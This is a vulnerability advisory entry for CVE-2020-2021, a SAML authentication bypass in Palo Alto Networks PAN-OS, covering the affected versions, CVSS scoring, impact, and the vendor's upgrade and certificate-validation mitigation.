CVE-2020-2021

CRITICAL CISA KEV POC Pub 29/06 Upd 21/10

Overview

This vulnerability is an authentication bypass caused by improper signature verification in the Security Assertion Markup Language (SAML) authentication implementation of Palo Alto Networks PAN-OS. The root cause is the failure to validate the Identity Provider's certificate when the 'Validate Identity Provider Certificate' option is disabled, allowing forged SAML assertions to be accepted. The affected component is the SAML authentication mechanism within PAN-OS versions prior to 9.1.3, 9.0.9, and 8.1.15, as well as all 8.0 versions.

Vulnerability Description

When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.

Impact

An unauthenticated attacker with network access can gain unauthorized access to resources protected by SAML-based single sign-on, including administrative access to PAN-OS and Panorama web interfaces. This enables the attacker to perform administrative actions, potentially compromising firewall configurations and security policies. No user interaction or prior authentication is required. While the vulnerability does not affect service availability or integrity of VPN gateways, it exposes critical resources to unauthorized control and data access, risking full system compromise and sensitive information disclosure.

Solution

Palo Alto Networks recommends upgrading affected PAN-OS versions to 9.1.3 or later, 9.0.9 or later, or 8.1.15 or later, as detailed in their security advisory at https://security.paloaltonetworks.com/CVE-2020-2021. As an immediate mitigation, enable the 'Validate Identity Provider Certificate' option in the SAML Identity Provider Server Profile to enforce proper signature verification. Refer to the vendor advisory for comprehensive patching instructions and version-specific guidance.
